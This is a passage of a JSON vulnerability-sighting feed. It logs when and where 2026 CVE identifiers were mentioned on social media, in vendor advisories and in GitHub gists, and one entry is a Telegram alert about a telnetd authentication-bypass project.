"CVE-2026-24020", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcw5atrnzb2h", "content": "", "creation_timestamp": "2026-01-21T07:23:40.399472Z"}, {"uuid": "f48e77b7-b04b-494e-ab16-b86e14fc9592", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24025", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcw5js7p3q2t", "content": "", "creation_timestamp": "2026-01-21T07:28:40.896612Z"}, {"uuid": "644b7dd7-86e5-4b83-91da-242ba41b0f69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcw7ecrteg25", "content": "", "creation_timestamp": "2026-01-21T08:01:25.523619Z"}, {"uuid": "227de71a-5cc1-4e01-ad85-73d314bbb4d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24016", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcwaortztj2m", "content": "", "creation_timestamp": "2026-01-21T08:25:10.066998Z"}, {"uuid": "5e6f2c51-43c6-4321-8a72-ff149c20fbab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcwers7abk2t", "content": "", "creation_timestamp": "2026-01-21T09:38:25.361120Z"}, {"uuid": "a5d90334-5156-4a97-9353-1462ed26e751", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24016", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcwf2qm4zk2h", "content": "", "creation_timestamp": "2026-01-21T09:43:25.792582Z"}, {"uuid": "639f4d8f-e8ee-4bb2-962f-e522f2576a96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24313", "type": "seen", "source": "https://support.sap.com/en/my-support/knowledge-base/security-notes-news/march-2026.html", "content": "", "creation_timestamp": "2026-03-12T03:00:05.000000Z"}, {"uuid": "7bb15ad1-15aa-49e2-8703-273dede6100b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24309", "type": "seen", "source": "https://support.sap.com/en/my-support/knowledge-base/security-notes-news/march-2026.html", "content": "", "creation_timestamp": "2026-03-12T03:00:05.000000Z"}, {"uuid": "cb1bf30b-4f34-4e58-8739-3ab18f7c523f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24316", "type": "seen", "source": "https://support.sap.com/en/my-support/knowledge-base/security-notes-news/march-2026.html", "content": "", "creation_timestamp": "2026-03-12T03:00:05.000000Z"}, {"uuid": "cc7ecb09-5dc5-490f-b75b-fda66dde29b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24311", "type": "seen", "source": "https://support.sap.com/en/my-support/knowledge-base/security-notes-news/march-2026.html", "content": "", "creation_timestamp": "2026-03-12T03:00:05.000000Z"}, {"uuid": "ff8b7231-6e01-4222-84c0-2ac5dec7da2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mcwnpj46vs2j", "content": "", "creation_timestamp": "2026-01-21T12:18:21.197358Z"}, {"uuid": "52405833-9225-45b2-80dc-9584215dae54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mcwnpl6tps2j", "content": "", "creation_timestamp": "2026-01-21T12:18:21.691350Z"}, {"uuid": "0668603e-958d-4363-be6a-bc8d2a0b4ba2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mcwnpnhlts2j", "content": "", "creation_timestamp": "2026-01-21T12:18:22.228934Z"}, {"uuid": "ed2bb6ed-d64c-4450-a68d-b2168353e4e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/GithubRedTeam/81922", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24061\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a midox008\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-28 08:59:11\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nGNU Inetutils telnetd Remote Authentication Bypass\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-28T09:00:04.000000Z"}, {"uuid": "efd093fa-d88d-4f67-a8f3-dbcda2fa8b17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://security.paloaltonetworks.com/PAN-SA-2026-0003", "content": "", "creation_timestamp": "2026-03-12T03:00:12.000000Z"}, {"uuid": "37f520e8-56ef-450d-805a-0405ae1b99d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/cert-fr.bsky.social/post/3mcx3rq36oz2p", "content": "", "creation_timestamp": "2026-01-21T16:29:59.192960Z"}, {"uuid": "3c06ade2-29bd-4963-b2a9-a65717d49da5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://social.numerique.gouv.fr/users/cert_fr/statuses/115934035856124849", "content": "", "creation_timestamp": "2026-01-21T16:30:00.886831Z"}, {"uuid": "cef74ab6-4463-413a-9382-8842493558e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/gnu-security-advisory-av26-047", "content": "", "creation_timestamp": "2026-01-21T16:11:58.000000Z"}, {"uuid": "56084549-875a-4fa8-a091-7e0bf0beca60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24048", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcxzdpmxt62m", "content": "", "creation_timestamp": "2026-01-22T01:19:01.318910Z"}, {"uuid": "d6f61db4-cda5-4cfd-9c73-3a30c08d43bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24046", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcxzn3eq6d2c", "content": "", "creation_timestamp": "2026-01-22T01:24:15.504779Z"}, {"uuid": "e77a092f-ae61-416e-9c39-27d46397791a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mcxzebw4v3l2", "content": "", "creation_timestamp": "2026-01-22T01:25:29.216643Z"}, {"uuid": "dd50688f-fd58-4647-aaa2-0696192c8fc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24047", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcy3kmkoxq23", "content": "", "creation_timestamp": "2026-01-22T01:58:40.437392Z"}, {"uuid": "2a14cfc0-019c-462b-b3c4-73e2a4b98275", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mcy56l7tk42l", "content": "", "creation_timestamp": "2026-01-22T02:27:44.209160Z"}, {"uuid": "86adf169-608d-4b31-ad7e-95da73d09f3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24010", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcycj5itac23", "content": "", "creation_timestamp": "2026-01-22T04:03:07.936179Z"}, {"uuid": "23c80fc0-d9c8-4879-854d-78a652915c8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24010", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcycjypyhr2x", "content": "", "creation_timestamp": "2026-01-22T04:03:36.235191Z"}, {"uuid": "e1e5ddab-3f6b-402a-b6f7-05d90442ffb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24010", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcycluxn6r27", "content": "", "creation_timestamp": "2026-01-22T04:04:39.426400Z"}, {"uuid": "b8bce353-daa7-4939-a3e4-5126b048a338", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24002", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcycnlt2qk2r", "content": "", "creation_timestamp": "2026-01-22T04:05:37.134595Z"}, {"uuid": "fcddca53-f0cc-48c9-80f6-f8ea7ec4308b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24002", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcycu5qkai2t", "content": "", "creation_timestamp": "2026-01-22T04:09:16.524775Z"}, {"uuid": "38bf6217-d6bc-4672-b351-5413e2a2a9bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24010", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcyd545gsq2n", "content": "", "creation_timestamp": "2026-01-22T04:14:16.903811Z"}, {"uuid": "c0c28cd0-a1b2-4337-80c1-53a341bcde55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24001", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcyfwkwe6i2n", "content": "", "creation_timestamp": "2026-01-22T05:04:18.735800Z"}, {"uuid": "c5265a4c-b7dd-4b90-9b4e-0f3c0a034974", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24042", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcyfxa6d5d2h", "content": "", "creation_timestamp": "2026-01-22T05:04:41.567790Z"}, {"uuid": "db7aab7d-890c-444b-a517-b40a47a0b195", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24038", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcyg3tfsul22", "content": "", "creation_timestamp": "2026-01-22T05:07:16.106320Z"}, {"uuid": "ac41bf6a-b948-412c-8ce0-9918b8e0269f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24006", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mcyg426q4t2h", "content": "", "creation_timestamp": "2026-01-22T05:07:23.163253Z"}, {"uuid": "35cf53be-3efa-4639-a14c-cb77737652d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24006", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcyg7jdntp23", "content": "", "creation_timestamp": "2026-01-22T05:09:19.179470Z"}, {"uuid": "dc4c7cce-8e27-435c-abe7-b6ba864145d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3mcyj7elqd22x", "content": "", "creation_timestamp": "2026-01-22T06:02:59.443040Z"}, {"uuid": "e1693ef0-036d-44e8-a80b-8ff0ed547f18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24036", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcymlqaygm2m", "content": "", "creation_timestamp": "2026-01-22T07:03:31.669882Z"}, {"uuid": "b2667031-f6a2-4b49-ba2c-0d46ba4a56a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24034", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcymnjrzpo2m", "content": "", "creation_timestamp": "2026-01-22T07:04:31.637423Z"}, {"uuid": "ba9982fb-6332-47b2-9891-07dd996d4f45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24038", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcymtiuief2g", "content": "", "creation_timestamp": "2026-01-22T07:07:52.291219Z"}, {"uuid": "e0f49999-85f6-4013-9f0e-3650a04c710b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24042", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcyn27qrda2n", "content": "", "creation_timestamp": "2026-01-22T07:11:37.583229Z"}, {"uuid": "f82042b3-55d2-4d04-9dab-52ba3bb57b65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24037", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcynbvdfph2t", "content": "", "creation_timestamp": "2026-01-22T07:15:55.422297Z"}, {"uuid": "9fd2384a-4a8c-462e-be27-61029333d44d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24055", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcynts7ex426", "content": "", "creation_timestamp": "2026-01-22T07:25:55.662192Z"}, {"uuid": "b95d7c9e-1da0-4bf2-9001-dc889edfcd6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24035", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcyo4qnio22m", "content": "", "creation_timestamp": "2026-01-22T07:30:56.027234Z"}, {"uuid": "b3fb19c3-d226-45cf-a305-679624d5388d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24039", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcyofp466g2t", "content": "", "creation_timestamp": "2026-01-22T07:35:56.336618Z"}, {"uuid": "74fdf1ab-df7d-4547-9aa6-d380f3c940ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24049", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcyoonkasz26", "content": "", "creation_timestamp": "2026-01-22T07:40:56.814338Z"}, {"uuid": "e311931c-cf3b-4777-8e73-ab8557ff226a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://mastodon.social/users/hrbrmstr/statuses/115937624800778914", "content": "", "creation_timestamp": "2026-01-22T07:42:43.680620Z"}, {"uuid": "f245d264-9f85-46a7-9e8c-93d8669e674a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/hrbrmstr.mastodon.social.ap.brid.gy/post/3mcyos2oydfh2", "content": "", "creation_timestamp": "2026-01-22T07:47:24.142341Z"}, {"uuid": "74c24ff9-670e-454d-b178-3ef1cd541873", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mcysejlnjhm2", "content": "", "creation_timestamp": "2026-01-22T08:49:22.031383Z"}, {"uuid": "62b06f75-cd15-4c7b-a747-683d6241bb81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-24458", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0173/", "content": "", "creation_timestamp": "2026-02-16T00:00:00.000000Z"}, {"uuid": "aa14b3a6-436f-45e5-a114-e9e7bdebc578", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://mastodon.social/users/hrbrmstr/statuses/115938552820592809", "content": "", "creation_timestamp": "2026-01-22T11:38:43.139608Z"}, {"uuid": "e7ed7907-6e19-4b34-bdef-b4fa81bd8347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/hrbrmstr.mastodon.social.ap.brid.gy/post/3mcz3xutgme72", "content": "", "creation_timestamp": "2026-01-22T11:38:57.922597Z"}, {"uuid": "34cd13ec-bbfb-43f9-a585-b19d28798cff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mcz6hled7s22", "content": "", "creation_timestamp": "2026-01-22T12:23:30.342138Z"}, {"uuid": "e4ae8f84-10e3-4cbe-b101-69b2e6084c1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mcz6nam3gj2v", "content": "", "creation_timestamp": "2026-01-22T12:26:29.780524Z"}, {"uuid": "3f109908-e175-4b3d-963c-ff69ddabb034", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mcz6zxa27z2g", "content": "", "creation_timestamp": "2026-01-22T12:33:36.438776Z"}, {"uuid": "46dd49c0-05ae-403d-a0f5-48e504d5e378", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24009", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mczltxgrze2h", "content": "", "creation_timestamp": "2026-01-22T16:22:54.190966Z"}, {"uuid": "565a4c59-77e8-4419-8c3b-ad7908f9fb66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24009", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mczlulagaw23", "content": "", "creation_timestamp": "2026-01-22T16:23:15.055017Z"}, {"uuid": "67f09e16-938d-4f6f-916a-277dbb355dcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/cybersentinel404.bsky.social/post/3mcznpkr4ok2b", "content": "", "creation_timestamp": "2026-01-22T16:56:13.440190Z"}, {"uuid": "47f57e7f-a1ce-43b8-bacc-279e0037e44d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/al26-002-vulnerability-affecting-gnu-inetutils-telnetd-cve-2026-24061", "content": "", "creation_timestamp": "2026-01-22T12:18:29.000000Z"}, {"uuid": "f06f3c8a-b0c7-455e-b1a6-42250c343030", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mcznzokahj2f", "content": "", "creation_timestamp": "2026-01-22T17:01:53.821582Z"}, {"uuid": "a893964e-08b6-4139-8908-58f76d4da649", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24390", "type": "seen", "source": "https://gist.github.com/Darkcrai86/b0934e6571e738e5519d1bcbf52bd92e", "content": "", "creation_timestamp": "2026-01-22T17:29:15.000000Z"}, {"uuid": "36c5fc46-a473-494f-a3a2-9e454a519d4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24388", "type": "seen", "source": "https://gist.github.com/Darkcrai86/a5cf9a93fd0e74ef40fc1c5974331a2e", "content": "", "creation_timestamp": "2026-01-22T17:30:15.000000Z"}, {"uuid": "9cbb8620-ad25-4321-938c-a76b7df10174", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24389", "type": "seen", "source": "https://gist.github.com/Darkcrai86/2c95da0c744b95b4a5f375980aa6722e", "content": "", "creation_timestamp": "2026-01-22T17:29:40.000000Z"}, {"uuid": "ffdedae8-62fc-4438-bfa7-8fe999d75df5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/colin-mcmillen.piaille.fr.ap.brid.gy/post/3mczpfga6fvn2", "content": "", "creation_timestamp": "2026-01-22T17:32:51.211118Z"}, {"uuid": "df7422fc-b17b-4cc4-ad57-d4c95779d27f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24383", "type": "seen", "source": "https://gist.github.com/Darkcrai86/640225ed4acb744987da65c42c153085", "content": "", "creation_timestamp": "2026-01-22T17:31:48.000000Z"}, {"uuid": "62a91521-84ac-4e90-a3ec-111dcc263556", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24384", "type": "seen", "source": "https://gist.github.com/Darkcrai86/b6d6ccdbe63fc3e9058fab51b0429c21", "content": "", "creation_timestamp": "2026-01-22T17:31:23.000000Z"}, {"uuid": "fbd8cbd7-04b3-4421-8a1c-102c66db4d2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24386", "type": "seen", "source": "https://gist.github.com/Darkcrai86/80ea23442b9839b52adf8b8b0cd94763", "content": "", "creation_timestamp": "2026-01-22T17:30:56.000000Z"}, {"uuid": "4a4d7110-fa34-4ffe-9c67-d0533d0f3968", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24377", "type": "seen", "source": "https://gist.github.com/Darkcrai86/ef0c2dc120a4cc645d1754e3fb011246", "content": "", "creation_timestamp": "2026-01-22T17:33:14.000000Z"}, {"uuid": "b8dd9e57-ae69-4b00-8525-25ccb5f32d7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24379", "type": "seen", "source": "https://gist.github.com/Darkcrai86/3cddab6a2a315b1ce4d1ad8643c31e47", "content": "", "creation_timestamp": "2026-01-22T17:32:47.000000Z"}, {"uuid": "0e3c8b78-deb8-41e3-83d0-70e265f338d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24381", "type": "seen", "source": "https://gist.github.com/Darkcrai86/1b9856ac15fde71d2578473c59252bd2", "content": "", "creation_timestamp": "2026-01-22T17:32:15.000000Z"}, {"uuid": "d2af5a85-a3e6-4a32-b938-ede430914ea1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24368", "type": "seen", "source": "https://gist.github.com/Darkcrai86/2b1cff8de1d23f7dd0ecaa087f055ea2", "content": "", "creation_timestamp": "2026-01-22T17:34:33.000000Z"}, {"uuid": "e7ccccfc-cbdf-4784-8347-ff7ed286107a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24371", "type": "seen", "source": "https://gist.github.com/Darkcrai86/b2bb16aa5680d7162561ad9f60c5cf08", "content": "", "creation_timestamp": "2026-01-22T17:34:05.000000Z"}, {"uuid": "197fede2-fb36-4728-8255-5473973aa875", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24374", "type": "seen", "source": "https://gist.github.com/Darkcrai86/122610b4fd78bed54c99d3213fea123f", "content": "", 